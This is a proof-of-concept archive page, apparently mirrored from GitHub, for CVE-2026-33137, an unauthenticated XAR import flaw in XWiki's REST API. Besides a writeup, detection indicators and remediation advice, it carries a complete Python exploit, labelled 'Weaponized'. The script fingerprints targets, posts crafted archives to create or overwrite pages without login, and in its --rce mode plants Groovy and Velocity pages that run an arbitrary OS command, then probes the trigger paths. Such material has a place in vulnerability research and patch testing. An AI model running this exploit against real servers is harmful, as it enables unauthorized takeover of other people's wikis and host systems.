PoC Archive PoC Archive
Critical CVE-2026-33137 patched

XWiki Unauthenticated XAR Import Leading to RCE — CVE-2026-33137

by portbuster1337 · 2026-07-05

CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-33137
Category
web
Affected product
XWiki Platform
Affected versions
> 15.10.16, > 16.4.6, > 16.10.2 (fixed in 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherportbuster1337
CVE / AdvisoryCVE-2026-33137
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSS 4.0 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
StatusWeaponized
Tagsxwiki, rce, missing-authorization, xar-import, groovy, velocity, unauthenticated, cwe-862
RelatedN/A

Affected Target

FieldValue
Software / SystemXWiki Platform
Versions Affected> 15.10.16, > 16.4.6, > 16.10.2 (fixed in 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1)
Language / PlatformPython PoC against XWiki’s Java-based REST API
Authentication RequiredNo
Network Access RequiredYes

Summary

XWiki’s REST endpoint POST /wikis/{wikiName} imports a XAR (XWiki Archive, a ZIP-based export/import format) directly into the wiki without verifying that the requester has administrative rights on the target. Because the endpoint performs no authorization check, an unauthenticated attacker can submit a crafted XAR containing arbitrary document XML to create or overwrite wiki pages. The included PoC builds minimal valid XAR archives in memory and POSTs them to the vulnerable endpoint to prove page creation, and additionally supports an --rce mode that imports pages containing {{groovy}} and {{velocity}} script macros so that, if a viewer subsequently renders the page and scripting/programming rights are available, an arbitrary OS command executes on the server.


Vulnerability Details

Root Cause

The /wikis/{wikiName} XAR import REST handler omits an authorization check (missing ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...)) that the eventual fix adds, allowing unauthenticated document import (CWE-862: Missing Authorization).

Attack Vector

  1. Locate a reachable XWiki instance and confirm the version falls in an affected range.
  2. Build a minimal XAR (ZIP containing package.xml plus a document XML file) with attacker-chosen space/page/content.
  3. POST the XAR bytes to /wikis/{wikiName} (or /xwiki/rest/wikis/{wikiName}) with no authentication.
  4. Verify the document was created/updated by reading it back via the REST API.
  5. Optionally, import pages whose content embeds {{groovy}}/{{velocity}} macros containing an OS command, then access a rendering trigger path (REST render, web UI view, or async/SSTI-style path) so the script executes on the server if scripting rights are enabled for the viewing context.

Impact

An unauthenticated attacker can create or overwrite arbitrary wiki content, and — where scripting/programming rights are available to the rendering context — achieve remote code execution on the XWiki server.


Environment / Lab Setup

Target:   XWiki Platform in an affected version range, REST API reachable over HTTP(S)
Attacker: Python 3 + requests (`pip install requests`)

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
python poc.py -t http://target:8080 --probe
python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage -c "Proof of Concept"
python poc.py -t http://target:8080 --rce "id"

The script detects the XWiki version, locates the REST wikis endpoint, builds and posts a XAR to create a test page (verifying the import succeeded), and in --rce mode imports Groovy/Velocity-scripted pages and reports which rendering trigger paths are reachable to confirm code execution.


Detection & Indicators of Compromise

POST /xwiki/rest/wikis/xwiki HTTP/1.1  Content-Type: application/octet-stream  -> 201/200 with no prior auth

Signs of compromise:

  • Unexpected new or modified wiki pages, especially under unfamiliar space names (e.g. CVE, PF)
  • Pages containing {{groovy}} or {{velocity}} macros with shell/process-execution calls (.execute(), Runtime.getRuntime().exec)
  • POST requests to /rest/wikis/* or /xwiki/rest/wikis/* from unauthenticated sessions

Remediation

ActionDetail
Primary fixUpgrade to XWiki 16.10.17, 17.4.9, 17.10.3, 18.0.1, or 18.1.0-rc-1, which add an ADMIN-right authorization check on the XAR import endpoint (fix commit 4b7b95b)
Interim mitigationRestrict network access to the XWiki REST API, disable guest scripting/programming rights, and monitor for unauthenticated import activity until patched

References


Notes

Mirrored from https://github.com/portbuster1337/CVE-2026-33137 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#!/usr/bin/env python3
"""
CVE-2026-33137 - XWiki Unauthenticated XAR Import via REST /wikis/{wikiName}

The POST /wikis/{wikiName} REST API endpoint in XWiki executes a XAR import
without performing any authentication or authorization checks, allowing an
unauthenticated attacker to create or update arbitrary documents in the target wiki.

Affected versions: prior to 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
Patched in: 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
"""

import io, re, zipfile, argparse, sys

try:
    import requests
except ImportError:
    print("[-] Missing 'requests' library. Install with: pip install requests")
    sys.exit(1)

PATCHED = [(16,10,17), (17,4,9), (17,10,3), (18,0,1), (18,1,0)]

def _parse_version(v: str):
    try:
        return tuple(int(p) for p in v.strip().split("-")[0].split(".")[:3])
    except ValueError:
        return None

def _is_vulnerable(v: str):
    pv = _parse_version(v)
    return None if pv is None else all(pv < p for p in PATCHED)

def _is_xwiki(resp):
    ct = (resp.headers.get("Content-Type") or "").lower()
    b = (resp.text or "").strip()
    return (b.startswith("<?xml") and "<wiki" in b[:200]) or \
           (ct.startswith("application/xml") and "<wiki" in b[:200]) or \
           (ct in ("application/xml","application/json") and "<link" in b[:500] and "rel=" in b[:500] and "wiki" in b[:200])

def _get_rest_base(target):
    try:
        r = requests.get(f"{target}/xwiki/bin/login", timeout=10)
        m = re.search(r'data-xwiki-rest-url="([^"]+)"', r.text)
        if m:
            return re.sub(r'/spaces/.*', '', m.group(1)).rstrip("/")
    except: pass
    return None

def _get_version(target, sess):
    try:
        r = sess.get(f"{target}/rest/wikis/xwiki", timeout=10)
        hv = r.headers.get("XWiki-Version")
        if hv and hv[0].isdigit(): return hv
    except: pass
    try:
        r = sess.get(f"{target}/xwiki/bin/login", timeout=10)
        m = re.search(r'xwiki-version=(\d[\d.]+)', r.text)
        if m: return m.group(1)
        m = re.search(r'xwiki-platform-[\w-]+webjar/(\d[\d.]+)/', r.text)
        if m: return m.group(1)
    except: pass
    return None

def _build_xar(space, page, content, title=None):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('package.xml', '<package><name>P</name><backupPack>true</backupPack></package>')
        zf.writestr(f'{space}/{page}.xml',
            f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{space}.{page}" locale="">'
            f'<web>{space}</web><name>{page}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
            f'<date>1748217600000</date><version>1.1</version><title>{title or page}</title>'
            f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{content}</content></xwikidoc>')
    return buf.getvalue()

def _build_rce_xar(cmd):
    pages = [
        ("CVE","RCEGroovy", f'{{{{groovy}}}}{cmd}.execute(){{{{/groovy}}}}'),
        ("CVE","RCEVelocity", f'{{{{velocity}}}}\n$util.getClass("java.lang.Runtime").getRuntime().exec("{cmd}")\n{{{{/velocity}}}}'),
        ("CVE","RCEScript", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
        ("Main","DatabaseSearch", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
    ]
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('package.xml', '<package><name>RCE</name><backupPack>true</backupPack></package>')
        for s, p, c in pages:
            zf.writestr(f'{s}/{p}.xml',
                f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{s}.{p}" locale="">'
                f'<web>{s}</web><name>{p}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
                f'<date>1748217600000</date><version>1.1</version><title>{p}</title>'
                f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{c}</content></xwikidoc>')
    return buf.getvalue()

def _find_endpoint(target, wiki_name, sess):
    base = _get_rest_base(target)
    if base:
        return f"{target}{base}"
    for c in [f"{target}/rest/wikis/{wiki_name}", f"{target}/xwiki/rest/wikis/{wiki_name}"]:
        try:
            if sess.get(c.replace(f"/{wiki_name}", ""), timeout=10).status_code < 500:
                return c
        except: pass
    return None

def _post_xar(endpoint, xar, sess):
    try:
        r = sess.post(endpoint, data=xar,
            headers={"Content-Type":"application/octet-stream","Accept":"application/xml"},
            params={"backup":"true","historyStrategy":"OVERVERSIONS"}, timeout=15)
        return (r.status_code in (200,201,204) and _is_xwiki(r)), r.status_code
    except Exception as e:
        return False, str(e)

def _check_trigger(ep, label=""):
    try:
        r = requests.get(ep, timeout=10, allow_redirects=False)
        return r.status_code
    except: return "ERR"

def probe(target):
    print(f"[*] Probe: {target}")
    for path in ["/","/xwiki/bin/view/Main/","/xwiki/bin/login","/xwiki/rest/wikis"]:
        try:
            r = requests.get(f"{target}{path}", timeout=10)
            t = r.text.lower() if r.text else ""
            s = "[XWIKI]" if _is_xwiki(r) else "[CONTENT]" if "data-xwiki" in t else ""
            print(f"  {path:32s} HTTP {r.status_code} {s}")
        except Exception as e:
            print(f"  {path:32s} ERR {e}")
    v = _get_version(target, requests.Session())
    if v:
        vu = _is_vulnerable(v)
        print(f"  version:              {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")

def exploit(target, wiki_name="xwiki", space="CVE", page="PoCTest",
            content="Pwned via CVE-2026-33137", verify=True, proxy=None):
    sess = requests.Session()
    if proxy: sess.proxies = {"http": proxy, "https": proxy}

    v = _get_version(target, sess)
    if v:
        vu = _is_vulnerable(v)
        print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")

    ep = _find_endpoint(target, wiki_name, sess)
    if not ep:
        print("[-] Could not find REST endpoint"); return False

    ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
    if not ok:
        print(f"[-] XAR import: HTTP {code}"); return False
    print(f"[+] XAR import: HTTP {code}")

    ok2, _ = _post_xar(ep, _build_xar(space, page, content, page), sess)
    if not ok2:
        print("[-] Document creation failed"); return False
    print(f"[+] Document created: {space}.{page}")

    if verify:
        for epv in [f"{target}/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}",
                     f"{target}/xwiki/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}"]:
            try:
                r = sess.get(epv, headers={"Accept":"application/json"}, timeout=10)
                if r.status_code == 200:
                    print(f"[+] Verified: document readable at {epv.rsplit('/',1)[-1]}")
                    return True
            except: pass
        print("[*] Verify: document exists but requires auth to read")
    return True

def rce_exploit(target, command, wiki_name="xwiki",
                username=None, password=None, proxy=None):
    sess = requests.Session()
    if proxy: sess.proxies = {"http": proxy, "https": proxy}
    if username and password:
        sess.auth = (username, password)

    v = _get_version(target, sess)
    if v:
        vu = _is_vulnerable(v)
        print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")
    print(f"[*] Command: {command}")

    ep = _find_endpoint(target, wiki_name, sess)
    if not ep:
        print("[-] Could not find REST endpoint"); return False
    print(f"[*] REST: {ep}")

    ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
    if not ok:
        print(f"[-] XAR import: HTTP {code}"); return False
    print(f"[+] XAR import: HTTP {code}")

    ok2, _ = _post_xar(ep, _build_rce_xar(command), sess)
    if not ok2:
        print("[-] RCE page import failed"); return False
    print("[+] RCE pages imported (CVE.RCEGroovy, CVE.RCEVelocity, CVE.RCEScript, Main.DatabaseSearch)")

    print("\n  Trigger paths:")
    table = []
    for p in [f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy",
              f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy?sheet=CVE.RCEGroovy",
              f"/xwiki/bin/view/CVE/RCEGroovy",
              f"/xwiki/bin/get/CVE/RCEGroovy?outputSyntax=plain",
              f"/xwiki/bin/view/CVE/RCEVelocity",
              f"/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text={{{{/async}}}}{{{{groovy}}}}{command}.execute(){{{{/groovy}}}}"]:
        c = _check_trigger(f"{target}{p}")
        if isinstance(c, int) and c in (200,304):
            s = "OK"
        elif isinstance(c, int) and c in (301,302,307,308):
            s = "redirect"
        elif isinstance(c, int) and c == 401:
            s = "unauthorized"
        elif isinstance(c, int) and c == 403:
            s = "forbidden"
        elif isinstance(c, int):
            s = f"HTTP {c}"
        else:
            s = c
        label = p[:65] + "..." if len(p) > 68 else p
        table.append((label, s))

    for label, s in table:
        print(f"    {label:68s} {s}")

    rendered = any("OK" in s for _, s in table)
    authed = username and password
    blocked = any(s == "redirect" or s == "unauthorized" for _, s in table)

    print()
    if rendered:
        print("[+] RCE trigger path is accessible!")
    else:
        if authed:
            print("[!] Trigger paths blocked (check credentials / scripting rights)")
        else:
            print("[!] Trigger paths blocked by authentication")
    print(f"    XAR import (CVE-2026-33137): WORKING")
    print(f"    Page rendering:              {'ACCESSIBLE' if rendered else 'BLOCKED'}")
    return True

def main():
    p = argparse.ArgumentParser(description="CVE-2026-33137 - XWiki Unauthenticated XAR Import PoC")
    p.add_argument("-t","--target", required=True)
    p.add_argument("-w","--wiki", default="xwiki")
    p.add_argument("-s","--space", default="CVE")
    p.add_argument("-p","--page", default="PoCTest")
    p.add_argument("-c","--content", default="Pwned via CVE-2026-33137")
    p.add_argument("--proxy")
    p.add_argument("--probe", action="store_true")
    p.add_argument("--no-verify", action="store_true")
    p.add_argument("--rce", metavar="COMMAND")
    p.add_argument("-u","--username")
    p.add_argument("--password")

    args = p.parse_args()
    target = args.target.rstrip("/")

    if args.probe:
        probe(target)
        return
    if args.rce:
        sys.exit(0 if rce_exploit(target, args.rce, args.wiki,
                                  args.username, args.password, args.proxy) else 1)
    sys.exit(0 if exploit(target, args.wiki, args.space, args.page,
                          args.content, not args.no_verify, args.proxy) else 1)

if __name__ == "__main__":
    main()